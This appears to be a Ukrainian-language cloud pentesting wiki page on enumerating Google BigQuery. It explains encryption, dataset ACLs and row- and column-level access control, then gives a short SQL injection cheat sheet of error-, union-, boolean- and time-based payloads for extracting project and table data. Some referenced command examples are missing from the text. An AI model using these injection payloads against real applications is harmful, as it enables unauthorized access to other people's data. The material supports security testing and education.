GCP - Bigquery Enum
Основна інформація
Google Cloud BigQuery - це повністю кероване, безсерверне підприємницьке сховище даних, яке пропонує можливості для аналізу петабайтів даних, тим самим ефективно обробляючи великі набори даних. Як Платформа як Сервіс (PaaS), вона надає користувачам інфраструктуру та інструменти для полегшення управління даними без необхідності ручного контролю.
Вона підтримує запити за допомогою ANSI SQL. Основні об'єкти - це набори даних, що містять таблиці, що містять SQL дані.
Шифрування
За замовчуванням використовується шифрувальний ключ, керований Google, хоча можливо налаштувати шифрувальний ключ, керований клієнтом (CMEK). Можливо вказати ключ шифрування для кожного набору даних та для кожної таблиці всередині набору даних.
Термін дії
Можливо вказати термін дії в наборі даних, щоб будь-яка нова таблиця, створена в цьому наборі даних, була автоматично видалена через вказану кількість днів після створення.
Зовнішні джерела
Bigquery глибоко інтегрований з іншими сервісами Google. Можливо завантажувати дані з бакетів, pub/sub, google drive, баз даних RDS...
ACL набору даних
При створенні набору даних до нього прикріплюються ACL, щоб надати доступ до нього. За замовчуванням надаються привілеї Власника користувачеві, який створив набір даних, а потім Власник групі projectOwners (Власники проекту), Письменник групі projectWriters та Читач групі projectReaders:
Контроль доступу до рядків таблиці
Є можливість контролювати рядки, до яких суб'єкт матиме доступ всередині таблиці за допомогою політик доступу до рядків. Вони визначаються всередині таблиці за допомогою DDL. Політика доступу визначає фільтр, і лише рядки, які відповідають цьому фільтру, будуть доступні для вказаних суб'єктів.
Контроль доступу до стовпців
Для обмеження доступу до даних на рівні стовпців:
Визначте таксономію та теги політики. Створіть та керуйте таксономією та тегами політики для ваших даних. https://console.cloud.google.com/bigquery/policy-tags
Необов'язково: Надайте роль Читача з дрібними даними каталогу даних одному або декільком принципалам на одному або декількох тегах політики, які ви створили.
Призначте теги політики для ваших стовпців BigQuery. У BigQuery використовуйте анотації схеми для призначення тега політики кожному стовпцю, до якого ви хочете обмежити доступ.
Застосуйте контроль доступу до таксономії. Застосування контролю доступу призводить до застосування обмежень доступу, визначених для всіх тегів політики в таксономії.
Керуйте доступом до тегів політики. Використовуйте Identity and Access Management (IAM) політики для обмеження доступу до кожного тега політики. Політика діє для кожного стовпця, який належить до тега політики.
Коли користувач намагається отримати доступ до даних стовпця під час запиту, BigQuery перевіряє тег політики стовпця та його політику, щоб переконатися, що користувач має дозвіл на доступ до даних.
У підсумку, для обмеження доступу до деяких стовпців для деяких користувачів ви можете додати тег до стовпця в схемі та обмежити доступ користувачів до тегу, застосовуючи контроль доступу до таксономії тегу.
Для застосування контролю доступу до таксономії потрібно увімкнути службу:
Можливо переглянути теги стовпців за допомогою:
Перелік
Внедрення SQL в BigQuery
Для отримання додаткової інформації ви можете переглянути допис у блозі: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Тут будуть наведені лише деякі деталі.
Коментарі:
select 1#from here it is not working
select 1/*between those it is not working*/
Але працюватиме лише початковий варіантselect 1--from here it is not working
Отримайте інформацію про середовище, таку як:
Поточний користувач:
select session_user()
Ідентифікатор проекту:
select @@project_id
Об'єднайте рядки:
Усі назви таблиць:
string_agg(table_name, ', ')
Отримайте назви наборів даних, таблиць та стовпців:
Назва проекту та набору даних:
Назви стовпців та таблиць всіх таблиць набору даних:
Інші набори даних в тому ж проекті:
Типи SQL Injection:
Основані на помилках - приведення типів:
select CAST(@@project_id AS INT64)
Основані на помилках - ділення на нуль:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Основані на об'єднанні (необхідно використовувати ALL в bigquery):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Основані на булевій логіці:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Потенційно основані на часі - Використання публічних наборів даних приклад:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Документація:
Оператори скриптів: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Підвищення привілеїв та пост-експлуатація
GCP - BigQuery PrivescНаполегливість
GCP - BigQuery PersistenceПосилання
Last updated